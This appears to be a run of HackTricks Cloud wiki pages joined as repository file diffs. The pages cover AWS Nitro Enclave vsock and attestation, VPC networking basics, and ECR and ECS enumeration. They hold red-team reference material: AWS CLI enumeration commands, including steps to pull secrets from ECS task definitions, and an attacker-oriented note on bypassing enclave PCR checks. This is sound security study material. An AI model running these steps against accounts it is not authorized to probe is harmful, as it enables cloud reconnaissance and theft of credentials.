print(f"Connection opened by cid={remote_cid} port={remote_port}")
while True:
buf = conn.recv(64)
if not buf:
break
print(f"Received bytes: {buf}")
```
</details>
```bash
# Using socat
socat VSOCK-LISTEN:<port>,fork EXEC:"echo Hello from server!"
```
### Vsock Client
Examples:
* [https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py](https://github.com/aws-samples/aws-nitro-enclaves-workshop/blob/main/resources/code/my-first-enclave/secure-local-channel/client.py)
<details>
<summary>Simple Python Client</summary>
```python
#!/usr/bin/env python3
#From https://medium.com/@F.DL/understanding-vsock-684016cf0eb0
import socket
CID = socket.VMADDR_CID_HOST
PORT = 9999
s = socket.socket(socket.AF_VSOCK, socket.SOCK_STREAM)
s.connect((CID, PORT))
s.sendall(b"Hello, world!")
s.close()
```
</details>
```bash
# Using socat
echo "Hello, vsock!" | socat - VSOCK-CONNECT:3:5000
```
### Vsock Proxy
The tool vsock-proxy allows to proxy a vsock proxy with another address, for example:
```bash
vsock-proxy 8001 ip-ranges.amazonaws.com 443 --config your-vsock-proxy.yaml
```
This will forward the **local port 8001 in vsock** to `ip-ranges.amazonaws.com:443` and the file **`your-vsock-proxy.yaml`** might have this content allowing to access `ip-ranges.amazonaws.com:443`:
```yaml
allowlist:
- {address: ip-ranges.amazonaws.com, port: 443}
```
It's possible to see the vsock addresses (**`<CID>:<Port>`**) used by the EC2 host with (note the `3:8001`, 3 is the CID and 8001 the port):
{% code overflow="wrap" %}
```bash
sudo ss -l -p -n | grep v_str
v_str LISTEN 0 0 3:8001 *:* users:(("vsock-proxy",pid=9458,fd=3))
```
{% endcode %}
## Nitro Enclave Atestation & KMS
The Nitro Enclaves SDK allows an enclave to request a **cryptographically signed attestation document** from the Nitro **Hypervisor**, which includes **unique measurements** specific to that enclave. These measurements, which include **hashes and platform configuration registers (PCRs)**, are used during the attestation process to **prove the enclave's identity** and **build trust with external services**. The attestation document typically contains values like PCR0, PCR1, and PCR2, which you have encountered before when building and saving an enclave EIF.
From the [**docs**](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-3-cryptographic-attestation#a-unique-feature-on-nitro-enclaves), these are the PCR values:
<table><thead><tr><th width="97">PCR</th><th width="221">Hash of ...</th><th>Description</th></tr></thead><tbody><tr><td>PCR0</td><td>Enclave image file</td><td>A contiguous measure of the contents of the image file, without the section data.</td></tr><tr><td>PCR1</td><td>Linux kernel and bootstrap</td><td>A contiguous measurement of the kernel and boot ramfs data.</td></tr><tr><td>PCR2</td><td>Application</td><td>A contiguous, in-order measurement of the user applications, without the boot ramfs.</td></tr><tr><td>PCR3</td><td>IAM role assigned to the parent instance</td><td>A contiguous measurement of the IAM role assigned to the parent instance. Ensures that the attestation process succeeds only when the parent instance has the correct IAM role.</td></tr><tr><td>PCR4</td><td>Instance ID of the parent instance</td><td>A contiguous measurement of the ID of the parent instance. Ensures that the attestation process succeeds only when the parent instance has a specific instance ID.</td></tr><tr><td>PCR8</td><td>Enclave image file signing certificate</td><td>A measure of the signing certificate specified for the enclave image file. Ensures that the attestation process succeeds only when the enclave was booted from an enclave image file signed by a specific certificate.</td></tr></tbody></table>
You can integrate **cryptographic attestation** into your applications and leverage pre-built integrations with services like **AWS KMS**. AWS KMS can **validate enclave attestations** and offers attestation-based condition keys (`kms:RecipientAttestation:ImageSha384` and `kms:RecipientAttestation:PCR`) in its key policies. These policies ensure that AWS KMS permits operations using the KMS key **only if the enclave's attestation document is valid** and meets the **specified conditions**.
{% hint style="success" %}
Note that Enclaves in debug (--debug) mode generate attestation documents with PCRs that are made of zeros (`000000000000000000000000000000000000000000000000`). Therefore, KMS policies checking these values will fail.
{% endhint %}
### PCR Bypass
From an attackers perspective, notice that some PCRs would allow to modify some parts or all the enclave image and would still be valid (for example PCR4 just checks the ID of the parent instance so running any enclave image in that EC2 will allow to fulfil this potential PCR requirement).
Therefore, an attacker that compromise the EC2 instance might be able to run other enclave images in order to bypass these protections.
The research on how to modify/create new images to bypass each protection (spcially the not taht obvious ones) is still TODO.
## References
* [https://medium.com/@F.DL/understanding-vsock-684016cf0eb0](https://medium.com/@F.DL/understanding-vsock-684016cf0eb0)
* All the parts of the Nitro tutorial from AWS: [https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli](https://catalog.us-east-1.prod.workshops.aws/event/dashboard/en-US/workshop/1-my-first-enclave/1-1-nitro-enclaves-cli)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,219 @@
# AWS - VPC & Networking Basic Information
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## AWS Networking in a Nutshell
A **VPC** contains a **network CIDR** like 10.0.0.0/16 (with its **routing table** and **network ACL**).
This VPC network is divided in **subnetworks**, so a **subnetwork** is directly **related** with the **VPC**, **routing** **table** and **network ACL**.
Then, **Network Interface**s attached to services (like EC2 instances) are **connected** to the **subnetworks** with **security group(s)**.
Therefore, a **security group** will limit the exposed ports of the network **interfaces using it**, **independently of the subnetwork**. And a **network ACL** will **limit** the exposed ports to to the **whole network**.
Moreover, in order to **access Internet**, there are some interesting configurations to check:
* A **subnetwork** can **auto-assign public IPv4 addresses**
* An **instance** created in the network that **auto-assign IPv4 addresses can get one**
* An **Internet gateway** need to be **attached** to the **VPC**
* You could also use **Egress-only internet gateways**
* You could also have a **NAT gateway** in a **private subnet** so it's possible to **connect to external services** from that private subnet, but it's **not possible to reach them from the outside**.
* The NAT gateway can be **public** (access to the internet) or **private** (access to other VPCs)
![](<../../../../.gitbook/assets/image (274).png>)
## VPC
Amazon **Virtual Private Cloud** (Amazon VPC) enables you to **launch AWS resources into a virtual network** that you've defined. This virtual network will have several subnets, Internet Gateways to access Internet, ACLs, Security groups, IPs...
### Subnets
Subnets helps to enforce a greater level of security. **Logical grouping of similar resources** also helps you to maintain an **ease of management** across your infrastructure.
* Valid CIDR are from a /16 netmask to a /28 netmask.
* A subnet cannot be in different availability zones at the same time.
* **AWS reserves the first three host IP addresses** of each subnet **for** **internal AWS usage**: he first host address used is for the VPC router. The second address is reserved for AWS DNS and the third address is reserved for future use.
* It's called **public subnets** to those that have **direct access to the Internet, whereas private subnets do not.**
<figure><img src="https://lh5.googleusercontent.com/N_WTrTrDAHwN61FMKJvLSHVua2EM0IazHH1fSTg8JQfTChm-dLN9mn7wkjz2MlpD-uOUqtWdMZpqKOp4VxaHy5-5X66GD1K8y1UGc27r-GbHdFty9ImpXdcjEsC7u4vjxKme_B_HwDOUnG6camxENYECTw=s2048" alt=""><figcaption></figcaption></figure>
<figure><img src="https://lh3.googleusercontent.com/MmjfVzGmV4jM7tO8lVoTKONoeqbq6E40DGeKUoo4kN-lmMDKnEiGNB-gGVx3EvjK9UV844im225CA8aAjomHf1Modt3MramHrHZdEGbeSZncWhVuT9R8f7tQZ2pXjdSJxeNfErmJ-0mmcUaV6dcU0TAd2A=s2048" alt=""><figcaption></figcaption></figure>
### Route Tables
Route tables determine the traffic routing for a subnet within a VPC. They determine which network traffic is forwarded to the internet or to a VPN connection. You will usually find access to the:
* Local VPC
* NAT
* Internet Gateways / Egress-only Internet gateways (needed to give a VPC access to the Internet).
* In order to make a subnet public you need to **create** and **attach** an **Internet gateway** to your VPC.
* VPC endpoints (to access S3 from private networks)
In the following images you can check the differences in a default public network and a private one:
<figure><img src="https://lh3.googleusercontent.com/q4ASpcLAYqijdNMLhMLl8EoowDtTMU5I_7YCVfk7-5hxDyeQOik9ImHnD2SYy32XUA2qXjEbXTAxA1lP--znJASdhYOdBveDcrD42f9XBKZ3EmjJCazN3YPLC6oS0xtRMmfORuwCszmMt-KrAkH07_izwg=s2048" alt=""><figcaption></figcaption></figure>
<figure><img src="https://lh5.googleusercontent.com/30psylXAI0gRN6_LK-reP00aGIlMma64E1qafCVPunn6nS-y5jAO6Y2JiempKcf6-LFi7ScicYcOh7BbHEya2VWtksnFX_8SPXQf97tKkg2tNZzrArWbiDCCn2m2LP1QUq6MZ_KayH3yir7t8zpO7CEQOw=s2048" alt=""><figcaption></figcaption></figure>
### ACLs
**Network Access Control Lists (ACLs)**: Network ACLs are firewall rules that control incoming and outgoing network traffic to a subnet. They can be used to allow or deny traffic to specific IP addresses or ranges.
* Its most frequent to allow/deny access using security groups, but this is only way to completely cut established reverse shells. A modified rule in a security groups doesnt stop already established connections
* However, this apply to the whole subnetwork be careful when forbidding stuff because needed functionality might be disturbed
### Security Groups
Security groups are a virtual **firewall** that control inbound and outbound network **traffic to instances** in a VPC. Relation 1 SG to M instances (usually 1 to 1).\
Usually this is used to open dangerous ports in instances, such as port 22 for example:
<figure><img src="https://lh5.googleusercontent.com/LliB7eb3cYfkEyOpyw1-eYgWsn2kq1yF6uRn5VYndvOuTvDlURimYx9UvuK8F2impTLmx50mid4MdTXE-Ljt2i_rxaIfnKUdji_hFjCdU9tdoW-axng9-W4tSL71gbbjrPQ7IYY5lAdH_G3UoMRMGGGOxQ=s2048" alt=""><figcaption></figcaption></figure>
### Elastic IP Addresses
An _Elastic IP address_ is a **static IPv4 address** designed for dynamic cloud computing. An Elastic IP address is allocated to your AWS account, and is yours until you release it. By using an Elastic IP address, you can mask the failure of an instance or software by rapidly remapping the address to another instance in your account.
### Connection between subnets
By default, all subnets have the **automatic assigned of public IP addresses turned off** but it can be turned on.
**A local route within a route table enables communication between VPC subnets.**
If you are **connection a subnet with a different subnet you cannot access the subnets connected** with the other subnet, you need to create connection with them directly. **This also applies to internet gateways**. You cannot go through a subnet connection to access internet, you need to assign the internet gateway to your subnet.
### VPC Peering
VPC peering allows you to **connect two or more VPCs together**, using IPV4 or IPV6, as if they were a part of the same network.
Once the peer connectivity is established, **resources in one VPC can access resources in the other**. The connectivity between the VPCs is implemented through the existing AWS network infrastructure, and so it is highly available with no bandwidth bottleneck. As **peered connections operate as if they were part of the same network**, there are restrictions when it comes to your CIDR block ranges that can be used.\
If you have **overlapping or duplicate CIDR** ranges for your VPC, then **you'll not be able to peer the VPCs** together.\
Each AWS VPC will **only communicate with its peer**. As an example, if you have a peering connection between VPC 1 and VPC 2, and another connection between VPC 2 and VPC 3 as shown, then VPC 1 and 2 could communicate with each other directly, as can VPC 2 and VPC 3, however, VPC 1 and VPC 3 could not. **You can't route through one VPC to get to another.**
### **VPC Flow Logs**
Within your VPC, you could potentially have hundreds or even thousands of resources all communicating between different subnets both public and private and also between different VPCs through VPC peering connections. **VPC Flow Logs allow you to capture IP traffic information that flows between your network interfaces of your resources within your VPC**.
Unlike S3 access logs and CloudFront access logs, the **log data generated by VPC Flow Logs is not stored in S3. Instead, the log data captured is sent to CloudWatch logs**.
Limitations:
* If you are running a VPC peered connection, then you'll only be able to see flow logs of peered VPCs that are within the same account.
* If you are still running resources within the EC2-Classic environment, then unfortunately you are not able to retrieve information from their interfaces
* Once a VPC Flow Log has been created, it cannot be changed. To alter the VPC Flow Log configuration, you need to delete it and then recreate a new one.
* The following traffic is not monitored and captured by the logs. DHCP traffic within the VPC, traffic from instances destined for the Amazon DNS Server.
* Any traffic destined to the IP address for the VPC default router and traffic to and from the following addresses, 169.254.169.254 which is used for gathering instance metadata, and 169.254.169.123 which is used for the Amazon Time Sync Service.
* Traffic relating to an Amazon Windows activation license from a Windows instance
* Traffic between a network load balancer interface and an endpoint network interface
For every network interface that publishes data to the CloudWatch log group, it will use a different log stream. And within each of these streams, there will be the flow log event data that shows the content of the log entries. Each of these **logs captures data during a window of approximately 10 to 15 minutes**.
## VPN
### Basic AWS VPN Components
1. **Customer Gateway**:
* A Customer Gateway is a resource that you create in AWS to represent your side of a VPN connection.
* It is essentially a physical device or software application on your side of the Site-to-Site VPN connection.
* You provide routing information and the public IP address of your network device (such as a router or a firewall) to AWS to create a Customer Gateway.
* It serves as a reference point for setting up the VPN connection and doesn't incur additional charges.
2. **Virtual Private Gateway**:
* A Virtual Private Gateway (VPG) is the VPN concentrator on the Amazon side of the Site-to-Site VPN connection.
* It is attached to your VPC and serves as the target for your VPN connection.
* VPG is the AWS side endpoint for the VPN connection.
* It handles the secure communication between your VPC and your on-premises network.
3. **Site-to-Site VPN Connection**:
* A Site-to-Site VPN connection connects your on-premises network to a VPC through a secure, IPsec VPN tunnel.
* This type of connection requires a Customer Gateway and a Virtual Private Gateway.
* It's used for secure, stable, and consistent communication between your data center or network and your AWS environment.
* Typically used for regular, long-term connections and is billed based on the amount of data transferred over the connection.
4. **Client VPN Endpoint**:
* A Client VPN endpoint is a resource that you create in AWS to enable and manage client VPN sessions.
* It is used for allowing individual devices (like laptops, smartphones, etc.) to securely connect to AWS resources or your on-premises network.
* It differs from Site-to-Site VPN in that it is designed for individual clients rather than connecting entire networks.
* With Client VPN, each client device uses a VPN client software to establish a secure connection.
### Site-to-Site VPN
**Connect your on premisses network with your VPC.**
* **VPN connection**: A secure connection between your on-premises equipment and your VPCs.
* **VPN tunnel**: An encrypted link where data can pass from the customer network to or from AWS.
Each VPN connection includes two VPN tunnels which you can simultaneously use for high availability.
* **Customer gateway**: An AWS resource which provides information to AWS about your customer gateway device.
* **Customer gateway device**: A physical device or software application on your side of the Site-to-Site VPN connection.
* **Virtual private gateway**: The VPN concentrator on the Amazon side of the Site-to-Site VPN connection. You use a virtual private gateway or a transit gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
* **Transit gateway**: A transit hub that can be used to interconnect your VPCs and on-premises networks. You use a transit gateway or virtual private gateway as the gateway for the Amazon side of the Site-to-Site VPN connection.
#### Limitations
* IPv6 traffic is not supported for VPN connections on a virtual private gateway.
* An AWS VPN connection does not support Path MTU Discovery.
In addition, take the following into consideration when you use Site-to-Site VPN.
* When connecting your VPCs to a common on-premises network, we recommend that you use non-overlapping CIDR blocks for your networks.
### Client VPN <a href="#what-is-components" id="what-is-components"></a>
**Connect from your machine to your VPC**
#### Concepts
* **Client VPN endpoint:** The resource that you create and configure to enable and manage client VPN sessions. It is the resource where all client VPN sessions are terminated.
* **Target network:** A target network is the network that you associate with a Client VPN endpoint. **A subnet from a VPC is a target network**. Associating a subnet with a Client VPN endpoint enables you to establish VPN sessions. You can associate multiple subnets with a Client VPN endpoint for high availability. All subnets must be from the same VPC. Each subnet must belong to a different Availability Zone.
* **Route**: Each Client VPN endpoint has a route table that describes the available destination network routes. Each route in the route table specifies the path for traffic to specific resources or networks.
* **Authorization rules:** An authorization rule **restricts the users who can access a network**. For a specified network, you configure the Active Directory or identity provider (IdP) group that is allowed access. Only users belonging to this group can access the specified network. **By default, there are no authorization rules** and you must configure authorization rules to enable users to access resources and networks.
* **Client:** The end user connecting to the Client VPN endpoint to establish a VPN session. End users need to download an OpenVPN client and use the Client VPN configuration file that you created to establish a VPN session.
* **Client CIDR range:** An IP address range from which to assign client IP addresses. Each connection to the Client VPN endpoint is assigned a unique IP address from the client CIDR range. You choose the client CIDR range, for example, `10.2.0.0/16`.
* **Client VPN ports:** AWS Client VPN supports ports 443 and 1194 for both TCP and UDP. The default is port 443.
* **Client VPN network interfaces:** When you associate a subnet with your Client VPN endpoint, we create Client VPN network interfaces in that subnet. **Traffic that's sent to the VPC from the Client VPN endpoint is sent through a Client VPN network interface**. Source network address translation (SNAT) is then applied, where the source IP address from the client CIDR range is translated to the Client VPN network interface IP address.
* **Connection logging:** You can enable connection logging for your Client VPN endpoint to log connection events. You can use this information to run forensics, analyze how your Client VPN endpoint is being used, or debug connection issues.
* **Self-service portal:** You can enable a self-service portal for your Client VPN endpoint. Clients can log into the web-based portal using their credentials and download the latest version of the Client VPN endpoint configuration file, or the latest version of the AWS provided client.
#### Limitations
* **Client CIDR ranges cannot overlap with the local CIDR** of the VPC in which the associated subnet is located, or any routes manually added to the Client VPN endpoint's route table.
* Client CIDR ranges must have a block size of at **least /22** and must **not be greater than /12.**
* A **portion of the addresses** in the client CIDR range are used to **support the availability** model of the Client VPN endpoint, and cannot be assigned to clients. Therefore, we recommend that you **assign a CIDR block that contains twice the number of IP addresses that are required** to enable the maximum number of concurrent connections that you plan to support on the Client VPN endpoint.
* The **client CIDR range cannot be changed** after you create the Client VPN endpoint.
* The **subnets** associated with a Client VPN endpoint **must be in the same VPC**.
* You **cannot associate multiple subnets from the same Availability Zone with a Client VPN endpoint**.
* A Client VPN endpoint **does not support subnet associations in a dedicated tenancy VPC**.
* Client VPN supports **IPv4** traffic only.
* Client VPN is **not** Federal Information Processing Standards (**FIPS**) **compliant**.
* If multi-factor authentication (MFA) is disabled for your Active Directory, a user password cannot be in the following format.
```
SCRV1:<base64_encoded_string>:<base64_encoded_string>
```
* The self-service portal is **not available for clients that authenticate using mutual authentication**.
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,131 @@
# AWS - ECR Enum
## AWS - ECR Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### ECR
#### Basic Information
Amazon **Elastic Container Registry** (Amazon ECR) is a **managed container image registry service**. It is designed to provide an environment where customers can interact with their container images using well-known interfaces. Specifically, the use of the Docker CLI or any preferred client is supported, enabling activities such as pushing, pulling, and managing container images.
ECR is compose by 2 types of objects: **Registries** and **Repositories**.
**Registries**
Every AWS account has 2 registries: **Private** & **Public**.
1. **Private Registries**:
* **Private by default**: The container images stored in an Amazon ECR private registry are **only accessible to authorized users** within your AWS account or to those who have been granted permission.
* The URI of a **private repository** follows the format `<account_id>.dkr.ecr.<region>.amazonaws.com/<repo-name>`
* **Access control**: You can **control access** to your private container images using **IAM policies**, and you can configure fine-grained permissions based on users or roles.
* **Integration with AWS services**: Amazon ECR private registries can be easily **integrated with other AWS services**, such as EKS, ECS...
* **Other private registry options**:
* The Tag immutability column lists its status, if tag immutability is enabled it will **prevent** image **pushes** with **pre-existing tags** from overwriting the images.
* The **Encryption type** column lists the encryption properties of the repository, it shows the default encryption types such as AES-256, or has **KMS** enabled encryptions.
* The **Pull through cache** column lists its status, if Pull through cache status is Active it will cache **repositories in an external public repository into your private repository**.
* Specific **IAM policies** can be configured to grant different **permissions**.
* The **scanning configuration** allows to scan for vulnerabilities in the images stored inside the repo.
2. **Public Registries**:
* **Public accessibility**: Container images stored in an ECR Public registry are **accessible to anyone on the internet without authentication.**
* The URI of a **public repository** is like `public.ecr.aws/<random>/<name>`. Although the `<random>` part can be changed by the admin to another string easier to remember.
**Repositories**
These are the **images** that in the **private registry** or to the **public** one.
{% hint style="info" %}
Note that in order to upload an image to a repository, the **ECR repository need to have the same name as the image**.
{% endhint %}
#### Registry & Repository Policies
**Registries & repositories** also have **policies that can be used to grant permissions to other principals/accounts**. For example, in the following repository policy image you can see how any user from the whole organization will be able to access the image:
<figure><img src="../../../.gitbook/assets/image (280).png" alt=""><figcaption></figcaption></figure>
#### Enumeration
{% code overflow="wrap" %}
```bash
# Get repos
aws ecr describe-repositories
aws ecr describe-registry
# Get image metadata
aws ecr list-images --repository-name <repo_name>
aws ecr describe-images --repository-name <repo_name>
aws ecr describe-image-replication-status --repository-name <repo_name> --image-id <image_id>
aws ecr describe-image-scan-findings --repository-name <repo_name> --image-id <image_id>
aws ecr describe-pull-through-cache-rules --repository-name <repo_name> --image-id <image_id>
# Get public repositories
aws ecr-public describe-repositories
# Get policies
aws ecr get-registry-policy
aws ecr get-repository-policy --repository-name <repo_name>
```
{% endcode %}
#### Unauthenticated Enum
{% content-ref url="../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md" %}
[aws-ecr-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecr-unauthenticated-enum.md)
{% endcontent-ref %}
#### Privesc
In the following page you can check how to **abuse ECR permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-ecr-privesc.md" %}
[aws-ecr-privesc.md](../aws-privilege-escalation/aws-ecr-privesc.md)
{% endcontent-ref %}
#### Post Exploitation
{% content-ref url="../aws-post-exploitation/aws-ecr-post-exploitation.md" %}
[aws-ecr-post-exploitation.md](../aws-post-exploitation/aws-ecr-post-exploitation.md)
{% endcontent-ref %}
#### Persistence
{% content-ref url="../aws-persistence/aws-ecr-persistence.md" %}
[aws-ecr-persistence.md](../aws-persistence/aws-ecr-persistence.md)
{% endcontent-ref %}
## References
* [https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/Welcome.html)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View File

@@ -0,0 +1,108 @@
# AWS - ECS Enum
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## ECS
### Basic Information
Amazon **Elastic Container Services** or ECS provides a platform to **host containerized applications in the cloud**. ECS has two **deployment** methods, **EC2** instance type and a **serverless** option, **Fargate**. The service **makes running containers in the cloud very easy and pain free**.
ECS operates using the following three building blocks: **Clusters**, **Services**, and **Task Definitions**.
* **Clusters** are **groups of containers** that are running in the cloud. As previously mentioned, there are two launch types for containers, EC2 and Fargate. AWS defines the **EC2** launch type as allowing customers “to run \[their] containerized applications on a cluster of Amazon EC2 instances that \[they] **manage**”. **Fargate** is similar and is defined as “\[allowing] you to run your containerized applications **without the need to provision and manage** the backend infrastructure”.
* **Services** are created inside a cluster and responsible for **running the tasks**. Inside a service definition **you define the number of tasks to run, auto scaling, capacity provider (Fargate/EC2/External),** **networking** information such as VPCs, subnets, and security groups.
* There **2 types of applications**:
* **Service**: A group of tasks handling a long-running computing work that can be stopped and restarted. For example, a web application.
* **Task**: A standalone task that runs and terminates. For example, a batch job.
* Among the service applications, there are **2 types of service schedulers**:
* [**REPLICA**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): The replica scheduling strategy places and **maintains the desired number** of tasks across your cluster. If for some reason a task shut down, a new one is launched in the same or different node.
* [**DAEMON**](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/ecs_services.html): Deploys exactly one task on each active container instance that has the needed requirements. There is no need to specify a desired number of tasks, a task placement strategy, or use Service Auto Scaling policies.
* **Task Definitions** are responsible for **defining what containers will run** and the various parameters that will be configured with the containers such as **port mappings** with the host, **env variables**, Docker **entrypoint**...
* Check **env variables for sensitive info**!
### Sensitive Data In Task Definitions
Task definitions are responsible for **configuring the actual containers that will be running in ECS**. Since task definitions define how containers will run, a plethora of information can be found within.
Pacu can enumerate ECS (list-clusters, list-container-instances, list-services, list-task-definitions), it can also dump task definitions.
### Enumeration
```bash
# Clusters info
aws ecs list-clusters
aws ecs describe-clusters --clusters <cluster>
# Container instances
## An Amazon ECS container instance is an Amazon EC2 instance that is running the Amazon ECS container agent and has been registered into an Amazon ECS cluster.
aws ecs list-container-instances --cluster <cluster>
aws ecs describe-container-instances --cluster <cluster> --container-instances <container_instance_arn>
# Services info
aws ecs list-services --cluster <cluster>
aws ecs describe-services --cluster <cluster> --services <services>
aws ecs describe-task-sets --cluster <cluster> --service <service>
# Task definitions
aws ecs list-task-definition-families
aws ecs list-task-definitions
aws ecs list-tasks --cluster <cluster>
aws ecs describe-tasks --cluster <cluster> --tasks <tasks>
## Look for env vars and secrets used from the task definition
aws ecs describe-task-definition --task-definition <TASK_NAME>:<VERSION>
```
### Unauthenticated Access
{% content-ref url="../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md" %}
[aws-ecs-unauthenticated-enum.md](../aws-unauthenticated-enum-access/aws-ecs-unauthenticated-enum.md)
{% endcontent-ref %}
### Privesc
In the following page you can check how to **abuse ECS permissions to escalate privileges**:
{% content-ref url="../aws-privilege-escalation/aws-ecs-privesc.md" %}
